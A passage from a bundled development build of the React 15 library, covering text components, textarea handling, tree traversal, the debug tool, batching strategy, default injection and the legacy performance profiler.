'<!--' + openingValue + '-->' + escapedText + '<!--' + closingValue + '-->';\n    }\n  },\n\n  /**\n   * Updates this component by updating the text content.\n   *\n   * @param {ReactText} nextText The next text content\n   * @param {ReactReconcileTransaction} transaction\n   * @internal\n   */\n  receiveComponent: function (nextText, transaction) {\n    if (nextText !== this._currentElement) {\n      this._currentElement = nextText;\n      var nextStringText = '' + nextText;\n      if (nextStringText !== this._stringText) {\n        // TODO: Save this as pending props and use performUpdateIfNecessary\n        // and/or updateComponent to do the actual update for consistency with\n        // other component types?\n        this._stringText = nextStringText;\n        var commentNodes = this.getNativeNode();\n        DOMChildrenOperations.replaceDelimitedText(commentNodes[0], commentNodes[1], nextStringText);\n      }\n    }\n  },\n\n  getNativeNode: function () {\n    var nativeNode = this._commentNodes;\n    if (nativeNode) {\n      return nativeNode;\n    }\n    if (!this._closingComment) {\n      var openingComment = ReactDOMComponentTree.getNodeFromInstance(this);\n      var node = openingComment.nextSibling;\n      while (true) {\n        !(node != null) ? \"development\" !== 'production' ? invariant(false, 'Missing closing comment for text component %s', this._domID) : invariant(false) : void 0;\n        if (node.nodeType === 8 && node.nodeValue === ' /react-text ') {\n          this._closingComment = node;\n          break;\n        }\n        node = node.nextSibling;\n      }\n    }\n    nativeNode = [this._nativeNode, this._closingComment];\n    this._commentNodes = nativeNode;\n    return nativeNode;\n  },\n\n  unmountComponent: function () {\n    this._closingComment = null;\n    this._commentNodes = null;\n    ReactDOMComponentTree.uncacheNode(this);\n  }\n\n});\n\nReactPerf.measureMethods(ReactDOMTextComponent.prototype, 'ReactDOMTextComponent', {\n  mountComponent: 'mountComponent',\n  receiveComponent: 'receiveComponent'\n});\n\nmodule.exports = ReactDOMTextComponent;\n},{\"119\":119,\"142\":142,\"158\":158,\"169\":169,\"40\":40,\"7\":7,\"8\":8,\"82\":82}],54:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMTextarea\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar DisabledInputUtils = _dereq_(14);\nvar DOMPropertyOperations = _dereq_(11);\nvar LinkedValueUtils = _dereq_(24);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactUpdates = _dereq_(94);\n\nvar invariant = _dereq_(158);\nvar warning = _dereq_(168);\n\nvar didWarnValueLink = false;\nvar didWarnValueNull = false;\nvar didWarnValDefaultVal = false;\n\nfunction forceUpdateIfMounted() {\n  if (this._rootNodeID) {\n    // DOM component is still mounted; update\n    ReactDOMTextarea.updateWrapper(this);\n  }\n}\n\nfunction warnIfValueIsNull(props) {\n  if (props != null && props.value === null && !didWarnValueNull) {\n    \"development\" !== 'production' ? warning(false, '`value` prop on `textarea` should not be null. ' + 'Consider using the empty string to clear the component or `undefined` ' + 'for uncontrolled components.') : void 0;\n\n    didWarnValueNull = true;\n  }\n}\n\n/**\n * Implements a <textarea> native component that allows setting `value`, and\n * `defaultValue`. This differs from the traditional DOM API because value is\n * usually set as PCDATA children.\n *\n * If `value` is not supplied (or null/undefined), user actions that affect the\n * value will trigger updates to the element.\n *\n * If `value` is supplied (and not null/undefined), the rendered element will\n * not trigger updates to the element. Instead, the `value` prop must change in\n * order for the rendered element to be updated.\n *\n * The rendered element will be initialized with an empty value, the prop\n * `defaultValue` if specified, or the children content (deprecated).\n */\nvar ReactDOMTextarea = {\n  getNativeProps: function (inst, props) {\n    !(props.dangerouslySetInnerHTML == null) ? \"development\" !== 'production' ? invariant(false, '`dangerouslySetInnerHTML` does not make sense on <textarea>.') : invariant(false) : void 0;\n\n    // Always set children to the same thing. In IE9, the selection range will\n    // get reset if `textContent` is mutated.\n    var nativeProps = _assign({}, DisabledInputUtils.getNativeProps(inst, props), {\n      defaultValue: undefined,\n      value: undefined,\n      children: inst._wrapperState.initialValue,\n      onChange: inst._wrapperState.onChange\n    });\n\n    return nativeProps;\n  },\n\n  mountWrapper: function (inst, props) {\n    if (\"development\" !== 'production') {\n      LinkedValueUtils.checkPropTypes('textarea', props, inst._currentElement._owner);\n      if (props.valueLink !== undefined && !didWarnValueLink) {\n        \"development\" !== 'production' ? warning(false, '`valueLink` prop on `textarea` is deprecated; set `value` and `onChange` instead.') : void 0;\n        didWarnValueLink = true;\n      }\n      if (props.value !== undefined && props.defaultValue !== undefined && !didWarnValDefaultVal) {\n        \"development\" !== 'production' ? warning(false, 'Textarea elements must be either controlled or uncontrolled ' + '(specify either the value prop, or the defaultValue prop, but not ' + 'both). Decide between using a controlled or uncontrolled textarea ' + 'and remove one of these props. More info: ' + 'https://fb.me/react-controlled-components') : void 0;\n        didWarnValDefaultVal = true;\n      }\n      warnIfValueIsNull(props);\n    }\n\n    var defaultValue = props.defaultValue;\n    // TODO (yungsters): Remove support for children content in <textarea>.\n    var children = props.children;\n    if (children != null) {\n      if (\"development\" !== 'production') {\n        \"development\" !== 'production' ? warning(false, 'Use the `defaultValue` or `value` props instead of setting ' + 'children on <textarea>.') : void 0;\n      }\n      !(defaultValue == null) ? \"development\" !== 'production' ? invariant(false, 'If you supply `defaultValue` on a <textarea>, do not pass children.') : invariant(false) : void 0;\n      if (Array.isArray(children)) {\n        !(children.length <= 1) ? \"development\" !== 'production' ? invariant(false, '<textarea> can only have at most one child.') : invariant(false) : void 0;\n        children = children[0];\n      }\n\n      defaultValue = '' + children;\n    }\n    if (defaultValue == null) {\n      defaultValue = '';\n    }\n    var value = LinkedValueUtils.getValue(props);\n    inst._wrapperState = {\n      // We save the initial value so that `ReactDOMComponent` doesn't update\n      // `textContent` (unnecessary since we update value).\n      // The initial value can be a boolean or object so that's why it's\n      // forced to be a string.\n      initialValue: '' + (value != null ? value : defaultValue),\n      listeners: null,\n      onChange: _handleChange.bind(inst)\n    };\n  },\n\n  updateWrapper: function (inst) {\n    var props = inst._currentElement.props;\n\n    if (\"development\" !== 'production') {\n      warnIfValueIsNull(props);\n    }\n\n    var value = LinkedValueUtils.getValue(props);\n    if (value != null) {\n      // Cast `value` to a string to ensure the value is set correctly. While\n      // browsers typically do this as necessary, jsdom doesn't.\n      DOMPropertyOperations.setValueForProperty(ReactDOMComponentTree.getNodeFromInstance(inst), 'value', '' + value);\n    }\n  }\n};\n\nfunction _handleChange(event) {\n  var props = this._currentElement.props;\n  var returnValue = LinkedValueUtils.executeOnChange(props, event);\n  ReactUpdates.asap(forceUpdateIfMounted, this);\n  return returnValue;\n}\n\nmodule.exports = ReactDOMTextarea;\n},{\"11\":11,\"14\":14,\"158\":158,\"168\":168,\"169\":169,\"24\":24,\"40\":40,\"94\":94}],55:[function(_dereq_,module,exports){\n/**\n * Copyright 2015-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMTreeTraversal\n */\n\n'use strict';\n\nvar invariant = _dereq_(158);\n\n/**\n * Return the lowest common ancestor of A and B, or null if they are in\n * different trees.\n */\nfunction getLowestCommonAncestor(instA, instB) {\n  !('_nativeNode' in instA) ? \"development\" !== 'production' ? invariant(false, 'getNodeFromInstance: Invalid argument.') : invariant(false) : void 0;\n  !('_nativeNode' in instB) ? \"development\" !== 'production' ? invariant(false, 'getNodeFromInstance: Invalid argument.') : invariant(false) : void 0;\n\n  var depthA = 0;\n  for (var tempA = instA; tempA; tempA = tempA._nativeParent) {\n    depthA++;\n  }\n  var depthB = 0;\n  for (var tempB = instB; tempB; tempB = tempB._nativeParent) {\n    depthB++;\n  }\n\n  // If A is deeper, crawl up.\n  while (depthA - depthB > 0) {\n    instA = instA._nativeParent;\n    depthA--;\n  }\n\n  // If B is deeper, crawl up.\n  while (depthB - depthA > 0) {\n    instB = instB._nativeParent;\n    depthB--;\n  }\n\n  // Walk in lockstep until we find a match.\n  var depth = depthA;\n  while (depth--) {\n    if (instA === instB) {\n      return instA;\n    }\n    instA = instA._nativeParent;\n    instB = instB._nativeParent;\n  }\n  return null;\n}\n\n/**\n * Return if A is an ancestor of B.\n */\nfunction isAncestor(instA, instB) {\n  !('_nativeNode' in instA) ? \"development\" !== 'production' ? invariant(false, 'isAncestor: Invalid argument.') : invariant(false) : void 0;\n  !('_nativeNode' in instB) ? \"development\" !== 'production' ? invariant(false, 'isAncestor: Invalid argument.') : invariant(false) : void 0;\n\n  while (instB) {\n    if (instB === instA) {\n      return true;\n    }\n    instB = instB._nativeParent;\n  }\n  return false;\n}\n\n/**\n * Return the parent instance of the passed-in instance.\n */\nfunction getParentInstance(inst) {\n  !('_nativeNode' in inst) ? \"development\" !== 'production' ? invariant(false, 'getParentInstance: Invalid argument.') : invariant(false) : void 0;\n\n  return inst._nativeParent;\n}\n\n/**\n * Simulates the traversal of a two-phase, capture/bubble event dispatch.\n */\nfunction traverseTwoPhase(inst, fn, arg) {\n  var path = [];\n  while (inst) {\n    path.push(inst);\n    inst = inst._nativeParent;\n  }\n  var i;\n  for (i = path.length; i-- > 0;) {\n    fn(path[i], false, arg);\n  }\n  for (i = 0; i < path.length; i++) {\n    fn(path[i], true, arg);\n  }\n}\n\n/**\n * Traverses the ID hierarchy and invokes the supplied `cb` on any IDs that\n * should would receive a `mouseEnter` or `mouseLeave` event.\n *\n * Does not invoke the callback on the nearest common ancestor because nothing\n * \"entered\" or \"left\" that element.\n */\nfunction traverseEnterLeave(from, to, fn, argFrom, argTo) {\n  var common = from && to ? getLowestCommonAncestor(from, to) : null;\n  var pathFrom = [];\n  while (from && from !== common) {\n    pathFrom.push(from);\n    from = from._nativeParent;\n  }\n  var pathTo = [];\n  while (to && to !== common) {\n    pathTo.push(to);\n    to = to._nativeParent;\n  }\n  var i;\n  for (i = 0; i < pathFrom.length; i++) {\n    fn(pathFrom[i], true, argFrom);\n  }\n  for (i = pathTo.length; i-- > 0;) {\n    fn(pathTo[i], false, argTo);\n  }\n}\n\nmodule.exports = {\n  isAncestor: isAncestor,\n  getLowestCommonAncestor: getLowestCommonAncestor,\n  getParentInstance: getParentInstance,\n  traverseTwoPhase: traverseTwoPhase,\n  traverseEnterLeave: traverseEnterLeave\n};\n},{\"158\":158}],56:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDOMUnknownPropertyDevtool\n */\n\n'use strict';\n\nvar DOMProperty = _dereq_(10);\nvar EventPluginRegistry = _dereq_(18);\n\nvar warning = _dereq_(168);\n\nif (\"development\" !== 'production') {\n  var reactProps = {\n    children: true,\n    dangerouslySetInnerHTML: true,\n    key: true,\n    ref: true\n  };\n  var warnedProperties = {};\n\n  var warnUnknownProperty = function (name) {\n    if (DOMProperty.properties.hasOwnProperty(name) || DOMProperty.isCustomAttribute(name)) {\n      return;\n    }\n    if (reactProps.hasOwnProperty(name) && reactProps[name] || warnedProperties.hasOwnProperty(name) && warnedProperties[name]) {\n      return;\n    }\n\n    warnedProperties[name] = true;\n    var lowerCasedName = name.toLowerCase();\n\n    // data-* attributes should be lowercase; suggest the lowercase version\n    var standardName = DOMProperty.isCustomAttribute(lowerCasedName) ? lowerCasedName : DOMProperty.getPossibleStandardName.hasOwnProperty(lowerCasedName) ? DOMProperty.getPossibleStandardName[lowerCasedName] : null;\n\n    // For now, only warn when we have a suggested correction. This prevents\n    // logging too much when using transferPropsTo.\n    \"development\" !== 'production' ? warning(standardName == null, 'Unknown DOM property %s. Did you mean %s?', name, standardName) : void 0;\n\n    var registrationName = EventPluginRegistry.possibleRegistrationNames.hasOwnProperty(lowerCasedName) ? EventPluginRegistry.possibleRegistrationNames[lowerCasedName] : null;\n\n    \"development\" !== 'production' ? warning(registrationName == null, 'Unknown event handler property %s. Did you mean `%s`?', name, registrationName) : void 0;\n  };\n}\n\nvar ReactDOMUnknownPropertyDevtool = {\n  onCreateMarkupForProperty: function (name, value) {\n    warnUnknownProperty(name);\n  },\n  onSetValueForProperty: function (node, name, value) {\n    warnUnknownProperty(name);\n  },\n  onDeleteValueForProperty: function (node, name) {\n    warnUnknownProperty(name);\n  }\n};\n\nmodule.exports = ReactDOMUnknownPropertyDevtool;\n},{\"10\":10,\"168\":168,\"18\":18}],57:[function(_dereq_,module,exports){\n/**\n * Copyright 2016-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDebugTool\n */\n\n'use strict';\n\nvar ReactInvalidSetStateWarningDevTool = _dereq_(73);\nvar warning = _dereq_(168);\n\nvar eventHandlers = [];\nvar handlerDoesThrowForEvent = {};\n\nfunction emitEvent(handlerFunctionName, arg1, arg2, arg3, arg4, arg5) {\n  if (\"development\" !== 'production') {\n    eventHandlers.forEach(function (handler) {\n      try {\n        if (handler[handlerFunctionName]) {\n          handler[handlerFunctionName](arg1, arg2, arg3, arg4, arg5);\n        }\n      } catch (e) {\n        \"development\" !== 'production' ? warning(!handlerDoesThrowForEvent[handlerFunctionName], 'exception thrown by devtool while handling %s: %s', handlerFunctionName, e.message) : void 0;\n        handlerDoesThrowForEvent[handlerFunctionName] = true;\n      }\n    });\n  }\n}\n\nvar ReactDebugTool = {\n  addDevtool: function (devtool) {\n    eventHandlers.push(devtool);\n  },\n  removeDevtool: function (devtool) {\n    for (var i = 0; i < eventHandlers.length; i++) {\n      if (eventHandlers[i] === devtool) {\n        eventHandlers.splice(i, 1);\n        i--;\n      }\n    }\n  },\n  onBeginProcessingChildContext: function () {\n    emitEvent('onBeginProcessingChildContext');\n  },\n  onEndProcessingChildContext: function () {\n    emitEvent('onEndProcessingChildContext');\n  },\n  onSetState: function () {\n    emitEvent('onSetState');\n  },\n  onMountRootComponent: function (internalInstance) {\n    emitEvent('onMountRootComponent', internalInstance);\n  },\n  onMountComponent: function (internalInstance) {\n    emitEvent('onMountComponent', internalInstance);\n  },\n  onUpdateComponent: function (internalInstance) {\n    emitEvent('onUpdateComponent', internalInstance);\n  },\n  onUnmountComponent: function (internalInstance) {\n    emitEvent('onUnmountComponent', internalInstance);\n  }\n};\n\nReactDebugTool.addDevtool(ReactInvalidSetStateWarningDevTool);\n\nmodule.exports = ReactDebugTool;\n},{\"168\":168,\"73\":73}],58:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDefaultBatchingStrategy\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar ReactUpdates = _dereq_(94);\nvar Transaction = _dereq_(112);\n\nvar emptyFunction = _dereq_(150);\n\nvar RESET_BATCHED_UPDATES = {\n  initialize: emptyFunction,\n  close: function () {\n    ReactDefaultBatchingStrategy.isBatchingUpdates = false;\n  }\n};\n\nvar FLUSH_BATCHED_UPDATES = {\n  initialize: emptyFunction,\n  close: ReactUpdates.flushBatchedUpdates.bind(ReactUpdates)\n};\n\nvar TRANSACTION_WRAPPERS = [FLUSH_BATCHED_UPDATES, RESET_BATCHED_UPDATES];\n\nfunction ReactDefaultBatchingStrategyTransaction() {\n  this.reinitializeTransaction();\n}\n\n_assign(ReactDefaultBatchingStrategyTransaction.prototype, Transaction.Mixin, {\n  getTransactionWrappers: function () {\n    return TRANSACTION_WRAPPERS;\n  }\n});\n\nvar transaction = new ReactDefaultBatchingStrategyTransaction();\n\nvar ReactDefaultBatchingStrategy = {\n  isBatchingUpdates: false,\n\n  /**\n   * Call the provided function in a context within which calls to `setState`\n   * and friends are batched such that components aren't updated unnecessarily.\n   */\n  batchedUpdates: function (callback, a, b, c, d, e) {\n    var alreadyBatchingUpdates = ReactDefaultBatchingStrategy.isBatchingUpdates;\n\n    ReactDefaultBatchingStrategy.isBatchingUpdates = true;\n\n    // The code is written this way to avoid extra allocations\n    if (alreadyBatchingUpdates) {\n      callback(a, b, c, d, e);\n    } else {\n      transaction.perform(callback, null, a, b, c, d, e);\n    }\n  }\n};\n\nmodule.exports = ReactDefaultBatchingStrategy;\n},{\"112\":112,\"150\":150,\"169\":169,\"94\":94}],59:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDefaultInjection\n */\n\n'use strict';\n\nvar BeforeInputEventPlugin = _dereq_(2);\nvar ChangeEventPlugin = _dereq_(6);\nvar DefaultEventPluginOrder = _dereq_(13);\nvar EnterLeaveEventPlugin = _dereq_(15);\nvar ExecutionEnvironment = _dereq_(144);\nvar HTMLDOMPropertyConfig = _dereq_(22);\nvar ReactComponentBrowserEnvironment = _dereq_(32);\nvar ReactDOMComponent = _dereq_(38);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactDOMEmptyComponent = _dereq_(43);\nvar ReactDOMTreeTraversal = _dereq_(55);\nvar ReactDOMTextComponent = _dereq_(53);\nvar ReactDefaultBatchingStrategy = _dereq_(58);\nvar ReactEventListener = _dereq_(67);\nvar ReactInjection = _dereq_(69);\nvar ReactReconcileTransaction = _dereq_(86);\nvar SVGDOMPropertyConfig = _dereq_(96);\nvar SelectEventPlugin = _dereq_(97);\nvar SimpleEventPlugin = _dereq_(98);\n\nvar alreadyInjected = false;\n\nfunction inject() {\n  if (alreadyInjected) {\n    // TODO: This is currently true because these injections are shared between\n    // the client and the server package. They should be built independently\n    // and not share any injection state. Then this problem will be solved.\n    return;\n  }\n  alreadyInjected = true;\n\n  ReactInjection.EventEmitter.injectReactEventListener(ReactEventListener);\n\n  /**\n   * Inject modules for resolving DOM hierarchy and plugin ordering.\n   */\n  ReactInjection.EventPluginHub.injectEventPluginOrder(DefaultEventPluginOrder);\n  ReactInjection.EventPluginUtils.injectComponentTree(ReactDOMComponentTree);\n  ReactInjection.EventPluginUtils.injectTreeTraversal(ReactDOMTreeTraversal);\n\n  /**\n   * Some important event plugins included by default (without having to require\n   * them).\n   */\n  ReactInjection.EventPluginHub.injectEventPluginsByName({\n    SimpleEventPlugin: SimpleEventPlugin,\n    EnterLeaveEventPlugin: EnterLeaveEventPlugin,\n    ChangeEventPlugin: ChangeEventPlugin,\n    SelectEventPlugin: SelectEventPlugin,\n    BeforeInputEventPlugin: BeforeInputEventPlugin\n  });\n\n  ReactInjection.NativeComponent.injectGenericComponentClass(ReactDOMComponent);\n\n  ReactInjection.NativeComponent.injectTextComponentClass(ReactDOMTextComponent);\n\n  ReactInjection.DOMProperty.injectDOMPropertyConfig(HTMLDOMPropertyConfig);\n  ReactInjection.DOMProperty.injectDOMPropertyConfig(SVGDOMPropertyConfig);\n\n  ReactInjection.EmptyComponent.injectEmptyComponentFactory(function (instantiate) {\n    return new ReactDOMEmptyComponent(instantiate);\n  });\n\n  ReactInjection.Updates.injectReconcileTransaction(ReactReconcileTransaction);\n  ReactInjection.Updates.injectBatchingStrategy(ReactDefaultBatchingStrategy);\n\n  ReactInjection.Component.injectEnvironment(ReactComponentBrowserEnvironment);\n\n  if (\"development\" !== 'production') {\n    var url = ExecutionEnvironment.canUseDOM && window.location.href || '';\n    if (/[?&]react_perf\\b/.test(url)) {\n      var ReactDefaultPerf = _dereq_(60);\n      ReactDefaultPerf.start();\n    }\n  }\n}\n\nmodule.exports = {\n  inject: inject\n};\n},{\"13\":13,\"144\":144,\"15\":15,\"2\":2,\"22\":22,\"32\":32,\"38\":38,\"40\":40,\"43\":43,\"53\":53,\"55\":55,\"58\":58,\"6\":6,\"60\":60,\"67\":67,\"69\":69,\"86\":86,\"96\":96,\"97\":97,\"98\":98}],60:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactDefaultPerf\n */\n\n'use strict';\n\nvar DOMProperty = _dereq_(10);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactDefaultPerfAnalysis = _dereq_(61);\nvar ReactMount = _dereq_(75);\nvar ReactPerf = _dereq_(82);\n\nvar performanceNow = _dereq_(166);\nvar warning = _dereq_(168);\n\nfunction roundFloat(val) {\n  return Math.floor(val * 100) / 100;\n}\n\nfunction addValue(obj, key, val) {\n  obj[key] = (obj[key] || 0) + val;\n}\n\n// Composite/text components don't have any built-in ID: we have to make our own\nvar compositeIDMap;\nvar compositeIDCounter = 17000;\nfunction getIDOfComposite(inst) {\n  if (!compositeIDMap) {\n    compositeIDMap = new WeakMap();\n  }\n  if (compositeIDMap.has(inst)) {\n    return compositeIDMap.get(inst);\n  } else {\n    var id = compositeIDCounter++;\n    compositeIDMap.set(inst, id);\n    return id;\n  }\n}\n\nfunction getID(inst) {\n  if (inst.hasOwnProperty('_rootNodeID')) {\n    return inst._rootNodeID;\n  } else {\n    return getIDOfComposite(inst);\n  }\n}\n\nfunction stripComplexValues(key, value) {\n  if (typeof value !== 'object' || Array.isArray(value) || value == null) {\n    return value;\n  }\n  var prototype = Object.getPrototypeOf(value);\n  if (!prototype || prototype === Object.prototype) {\n    return value;\n  }\n  return '<not serializable>';\n}\n\n// This implementation of ReactPerf is going away some time mid 15.x.\n// While we plan to keep most of the API, the actual format of measurements\n// will change dramatically. To signal this, we wrap them into an opaque-ish\n// object to discourage reaching into it until the API stabilizes.\nfunction wrapLegacyMeasurements(measurements) {\n  return { __unstable_this_format_will_change: measurements };\n}\nfunction unwrapLegacyMeasurements(measurements) {\n  return measurements && measurements.__unstable_this_format_will_change || measurements;\n}\n\nvar warnedAboutPrintDOM = false;\nvar warnedAboutGetMeasurementsSummaryMap = false;\n\nvar ReactDefaultPerf = {\n  _allMeasurements: [], // last item in the list is the current one\n  _mountStack: [0],\n  _compositeStack: [],\n  _injected: false,\n\n  start: function () {\n    if (!ReactDefaultPerf._injected) {\n      ReactPerf.injection.injectMeasure(ReactDefaultPerf.measure);\n    }\n\n    ReactDefaultPerf._allMeasurements.length = 0;\n    ReactPerf.enableMeasure = true;\n  },\n\n  stop: function () {\n    ReactPerf.enableMeasure = false;\n  },\n\n  getLastMeasurements: function () {\n    return wrapLegacyMeasurements(ReactDefaultPerf._allMeasurements);\n  },\n\n  printExclusive: function (measurements) {\n    measurements = unwrapLegacyMeasurements(measurements || ReactDefaultPerf._allMeasurements);\n    var summary = ReactDefaultPerfAnalysis.getExclusiveSummary(measurements);\n    console.table(summary.map(function (item) {\n      return {\n        'Component class name': item.componentName,\n        'Total inclusive time (ms)': roundFloat(item.inclusive),\n        'Exclusive mount time (ms)': roundFloat(item.exclusive),\n        'Exclusive render time (ms)': roundFloat(item.render),\n        'Mount time per instance (ms)': roundFloat(item.exclusive / item.count),\n        'Render time per instance (ms)': roundFloat(item.render / item.count),\n        'Instances': item.count\n      };\n    }));\n    // TODO: ReactDefaultPerfAnalysis.getTotalTime() does not return the correct\n    // number.\n  },\n\n  printInclusive: function (measurements) {\n    measurements = unwrapLegacyMeasurements(measurements || ReactDefaultPerf._allMeasurements);\n    var summary = ReactDefaultPerfAnalysis.getInclusiveSummary(measurements);\n    console.table(summary.map(function (item) {\n      return {\n        'Owner > component': item.componentName,\n        'Inclusive time (ms)': roundFloat(item.time),\n        'Instances': item.count\n      };\n    }));\n    console.log('Total time:', ReactDefaultPerfAnalysis.getTotalTime(measurements).toFixed(2) + ' ms');\n  },\n\n  getMeasurementsSummaryMap: function (measurements) {\n    \"development\" !== 'production' ? warning(warnedAboutGetMeasurementsSummaryMap, '`ReactPerf.getMeasurementsSummaryMap(...)` is deprecated. Use ' + '`ReactPerf.getWasted(...)` instead.') : void 0;\n    warnedAboutGetMeasurementsSummaryMap = true;\n    return ReactDefaultPerf.getWasted(measurements);\n  },\n\n  getWasted: function (measurements) {\n    measurements = unwrapLegacyMeasurements(measurements);\n    var summary = ReactDefaultPerfAnalysis.getInclusiveSummary(measurements, true);\n    return summary.map(function (item) {\n      return {\n        'Owner > component': item.componentName,\n        'Wasted time (ms)': item.time,\n        'Instances': item.count\n      };\n    });\n  },\n\n  printWasted: function (measurements) {\n    measurements = unwrapLegacyMeasurements(measurements || ReactDefaultPerf._allMeasurements);\n    console.table(ReactDefaultPerf.getWasted(measurements));\n    console.log('Total time:', ReactDefaultPerfAnalysis.getTotalTime(measurements).toFixed(2) + ' ms');\n  },\n\n  printDOM: function (measurements) {\n    \"development\" !== 'production' ? warning(warnedAboutPrintDOM, '`ReactPerf.printDOM(...)` is deprecated. Use ' + '`ReactPerf.printOperations(...)` instead.') : void 0;\n    warnedAboutPrintDOM = true;\n    return ReactDefaultPerf.printOperations(measurements);\n  },\n\n  printOperations: function (measurements) {\n    measurements = unwrapLegacyMeasurements(measurements || ReactDefaultPerf._allMeasurements);\n    var summary = ReactDefaultPerfAnalysis.getDOMSummary(measurements);\n    console.table(summary.map(function (item) {\n      var result = {};\n      result[DOMProperty.ID_ATTRIBUTE_NAME] = item.id;\n      result.type = item.type;\n      result.args = JSON.stringify(item.args, stripComplexValues);\n      return result;\n    }));\n    console.log('Total time:', ReactDefaultPerfAnalysis.getTotalTime(measurements).toFixed(2) + ' ms');\n  },\n\n  _recordWrite: function (id, fnName, totalTime, args) {\n    // TODO: totalTime isn't that useful since it doesn't count paints/reflows\n    var entry = ReactDefaultPerf._allMeasurements[ReactDefaultPerf._allMeasurements.length - 1];\n    var writes = entry.writes;\n    writes[id] = writes[id] || [];\n    writes[id].push({\n      type: fnName,\n      time: totalTime,\n      args: args\n    });\n  },\n\n  measure: function (moduleName, fnName, func) {\n    return function () {\n      for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n        args[_key] = arguments[_key];\n      }\n\n      var totalTime;\n      var rv;\n      var start;\n\n      var entry = ReactDefaultPerf._allMeasurements[ReactDefaultPerf._allMeasurements.length - 1];\n\n      if (fnName === '_renderNewRootComponent' || fnName === 'flushBatchedUpdates') {\n        // A \"measurement\" is a set of metrics recorded for each flush. We want\n        // to group the metrics for a given flush together so we can look at the\n        // components that rendered and the DOM operations that actually\n        // happened to determine the amount of \"wasted work\" performed.\n        ReactDefaultPerf._allMeasurements.push(entry = {\n          exclusive: {},\n          inclusive: {},\n          render: {},\n          counts: {},\n          writes: {},\n          displayNames: {},\n          hierarchy: {},\n          totalTime: 0,\n          created: {}\n        });\n        start = performanceNow();\n        rv = func.apply(this, args);\n        entry.totalTime = performanceNow() - start;\n        return rv;\n      } else if (fnName === '_mountImageIntoNode' || moduleName === 'ReactDOMIDOperations' || moduleName === 'CSSPropertyOperations' || moduleName === 'DOMChildrenOperations' || moduleName === 'DOMPropertyOperations' || moduleName === 'ReactComponentBrowserEnvironment') {\n        start = performanceNow();\n        rv = func.apply(this, args);\n        totalTime = performanceNow() - start;\n\n        if (fnName === '_mountImageIntoNode') {\n          ReactDefaultPerf._recordWrite('', fnName, totalTime, args[0]);\n        } else if (fnName === 'dangerouslyProcessChildrenUpdates') {\n          // special format\n          args[1].forEach(function (update) {\n            var writeArgs = {};\n            if (update.fromIndex !== null) {\n              writeArgs.fromIndex = update.fromIndex;\n            }\n            if (update.toIndex !== null) {\n              writeArgs.toIndex = update.toIndex;\n            }\n            if (update.content !== null) {\n              writeArgs.content = update.content;\n            }\n            ReactDefaultPerf._recordWrite(args[0]._rootNodeID, update.type, totalTime, writeArgs);\n          });\n        } else {\n          // basic format\n          var id = args[0];\n          if (moduleName === 'EventPluginHub') {\n            id = id._rootNodeID;\n          } else if (fnName === 'replaceNodeWithMarkup') {\n            // Old node is already unmounted; can't get its instance\n            id = ReactDOMComponentTree.getInstanceFromNode(args[1].node)._rootNodeID;\n          } else if (fnName === 'replaceDelimitedText') {\n            id = getID(ReactDOMComponentTree.getInstanceFromNode(args[0]));\n          } else if (typeof id === 'object') {\n            id = getID(ReactDOMComponentTree.getInstanceFromNode(args[0]));\n          }\n          ReactDefaultPerf._recordWrite(id, fnName, totalTime, Array.prototype.slice.call(args, 1));\n        }\n        return rv;\n      } else if (moduleName === 'ReactCompositeComponent' && (fnName === 'mountComponent' || fnName === 'updateComponent' || // TODO: receiveComponent()?\n      fnName === '_renderValidatedComponent')) {\n\n        if (this._currentElement.type === ReactMount.TopLevelWrapper) {\n          return func.apply(this, args);\n        }\n\n        var rootNodeID = getIDOfComposite(this);\n        var isRender = fnName === '_renderValidatedComponent';\n        var isMount = fnName === 'mountComponent';\n\n        var mountStack = ReactDefaultPerf._mountStack;\n\n        if (isRender) {\n          addValue(entry.counts, rootNodeID, 1);\n        } else if (isMount) {\n          entry.created[rootNodeID] = true;\n          mountStack.push(0);\n        }\n\n        ReactDefaultPerf._compositeStack.push(rootNodeID);\n\n        start = performanceNow();\n        rv = func.apply(this, args);\n        totalTime = performanceNow() - start;\n\n        ReactDefaultPerf._compositeStack.pop();\n\n        if (isRender) {\n          addValue(entry.render, rootNodeID, totalTime);\n        } else if (isMount) {\n          var subMountTime = mountStack.pop();\n          mountStack[mountStack.length - 1] += totalTime;\n          addValue(entry.exclusive, rootNodeID, totalTime - subMountTime);\n          addValue(entry.inclusive, rootNodeID, totalTime);\n        } else {\n          addValue(entry.inclusive, rootNodeID, totalTime);\n        }\n\n        entry.displayNames[rootNodeID] 